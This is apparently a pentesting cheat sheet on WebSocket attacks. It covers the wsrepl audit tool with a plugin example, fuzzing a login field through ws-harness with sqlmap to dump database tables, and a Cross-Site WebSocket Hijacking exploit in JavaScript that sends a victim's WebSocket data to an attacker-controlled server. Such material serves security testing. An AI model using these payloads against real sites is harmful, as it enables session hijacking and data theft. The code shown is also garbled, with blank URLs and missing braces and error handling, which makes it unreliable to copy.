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Web Sockets

The WebSocket protocol allows a bidirectional and full-duplex communication between a client and a server




Using wsrepl

wsrepl, a tool developed by Doyensec, aims to simplify the auditing of websocket-based apps. It offers an interactive REPL interface that is user-friendly and easy to automate. The tool was developed during an engagement with a client whose web application heavily relied on WebSockets for soft real-time communication.

wsrepl is designed to provide a balance between an interactive REPL experience and automation. It is built with Python’s TUI framework Textual, and it interoperates with curl’s arguments, making it easy to transition from the Upgrade request in Burp to wsrepl. It also provides full transparency of WebSocket opcodes as per RFC 6455 and has an automatic reconnection feature in case of disconnects.

pip install wsrepl
wsrepl -u URL -P

Moreover, wsrepl simplifies the process of transitioning into WebSocket automation. Users just need to write a Python plugin. The plugin system is designed to be flexible, allowing users to define hooks that are executed at various stages of the WebSocket lifecycle (init, on_message_sent, on_message_received, ...).

from wsrepl import Plugin
from wsrepl.WSMessage import WSMessage

import json
import requests

class Demo(Plugin):
    def init(self):
        token = requests.get("").json()["uuid"]
        self.messages = [
                "auth": "session",
                "sessionId": token

    async def on_message_sent(self, message: WSMessage) -> None:
        original = message.msg
        message.msg = json.dumps({
            "type": "message",
            "data": {
                "text": original
        message.short = original
        message.long = message.msg

    async def on_message_received(self, message: WSMessage) -> None:
        original = message.msg
            message.short = json.loads(original)["data"]["text"]
            message.short = "Error: could not parse message"

        message.long = original


Start ws-harness to listen on a web-socket, and specify a message template to send to the endpoint.

python -u "ws://dvws.local:8080/authenticate-user" -m ./message.txt

The content of the message should contains the [FUZZ] keyword.

{"auth_user":"dGVzda==", "auth_pass":"[FUZZ]"}

Then you can use any tools against the newly created web service, working as a proxy and tampering on the fly the content of message sent thru the websocket.

sqlmap -u --tables --tamper=base64encode --dump

Cross-Site WebSocket Hijacking (CSWSH)

If the WebSocket handshake is not correctly protected using a CSRF token or a nonce, it's possible to use the authenticated WebSocket of a user on an attacker's controlled site because the cookies are automatically sent by the browser. This attack is called Cross-Site WebSocket Hijacking (CSWSH).

Example exploit, hosted on an attacker's server, that exfiltrates the received data from the WebSocket to the attacker:

  ws = new WebSocket('wss://');
  ws.onopen = function start(event) {
  ws.onmessage = function handleReply(event) {
    fetch('', {mode: 'no-cors'});
  ws.send("Some text sent to the server");

You have to adjust the code to your exact situation. E.g. if your web application uses a Sec-WebSocket-Protocol header in the handshake request, you have to add this value as a 2nd parameter to the WebSocket function call in order to add this header.